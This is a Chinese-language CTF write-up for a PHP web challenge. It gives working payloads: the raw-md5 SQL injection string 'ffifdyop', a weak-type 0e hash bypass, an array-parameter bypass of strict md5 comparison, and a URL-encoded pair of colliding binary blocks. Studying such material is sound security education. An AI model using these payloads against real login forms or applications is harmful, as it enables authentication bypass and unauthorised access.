在首页随便输入点东西,然后抓包发现有hint。
select * from 'admin' where password=md5($pass,true)
这里用到了一个关于md5的知识点,可参考实验吧后台注入一题。PHP中md5函数如果第二个参数设为true,返回的是二进制内容,如果能恰好凑出类似'or的字符串,就可以构成SQL注入。
有两个类似的字符串:
129581926211651571912466741651878684928
md5值为:
\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
ffifdyop
md5值为:
'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
这里我有点不明白第一个怎么凉凉了,有知道的可以跟我说下。
使用ffifdyop可以进入/levels91.php页面。
里面有一段代码被注释了。
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
根据代码中的条件,要让a和b值不等但md5值相等。由于这里使用的两个等号,可以借助弱类型来绕过一下。即找两个加密后是0e开头的字符串即可,这样两个值会被当成科学记数法表示的数字来比较。
关于有哪些值,可以参考如下文章。
输入成功之后会进入/levell14.php页面。里面是一段代码:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里也考察了一个PHP的md5函数漏洞,就是如果md5函数的参数是一个数组值,会导致函数返回false。除了md5之外sha1函数也有这个特性。
这里的一个解为:
param1[]=a¶m2[]=b
但是其实不止传数组一种解法,还可以构造相同md5值的两条数据。md5值相同的字符串目前为没有找到,但二进制数据是有的,在传递时注意url编码即可。这里给出另一个解:
param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2¶m2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
同样可以得到flag。
这个题难度并不大,不过考察md5函数的点较全。
这里主要考察了md5的数组绕过,哈希碰撞绕过,若类型绕过和利用二进制md5数据构造SQL注入。